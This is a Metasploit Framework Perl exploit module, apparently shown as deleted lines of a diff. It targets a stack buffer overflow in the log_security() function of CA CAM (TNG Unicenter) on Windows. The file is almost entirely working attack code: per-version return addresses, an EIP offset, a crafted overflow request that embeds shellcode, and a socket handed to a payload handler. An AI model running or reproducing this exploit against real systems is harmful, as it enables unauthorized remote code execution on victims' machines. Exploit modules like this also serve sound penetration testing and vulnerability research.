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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::cacam_logsecurity_win32;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'CA CAM log_security() Stack Overflow (Win32)',
- 'Version' => '$Revision: 1.1 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
- 'Priv' => 1,
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 4105],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a vulnerability in the CA CAM service by passing
- a long parameter to the log_security() function. The CAM service is part
- of TNG Unicenter. This module has been tested on Unicenter v3.1.
- }),
-
- 'Refs' =>
- [
-
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- # W2API.DLL @ 0x01950000 - return to ESI
- # $Header: /home/mscvs/framework/exploits/cacam_logsecurity_win32.pm,v 1.1 2005/10/15 14:13:50 hdm Exp $
- ['W2API.DLL TNG 2.3', 0x01951107],
-
- # return to ESI in ws2help.dll
- ['Windows 2000 SP0-SP4 English', 0x750217ae],
- ['Windows XP SP0-SP1 English', 0x71aa16e5],
- ['Windows XP SP2 English', 0x71aa1b22],
- ['Windows 2003 SP0 English', 0x71bf175f],
- ],
-
- 'Keys' => ['cam'],
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $pattern = Pex::Text::EnglishText(4096);
-
- # Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
- substr($pattern, 1016, 4, pack('V', $target->[1]));
- substr($pattern, 1052, length($shellcode), $shellcode);
-
- my $req =
- "\xfa\xf9\x00\x10" . $pattern . "\x00";
-
- my $ack = $s->Recv(4, 5);
- if ($ack ne "ACK\x00") {
- $self->PrintLine("[*] The CAM service is not responding.");
- return;
- }
- $s->Send($req);
- $s->Recv(-1,1);
- $self->Handler($s);
- $s->Close();
-
- return;
- }
-
- 1;
-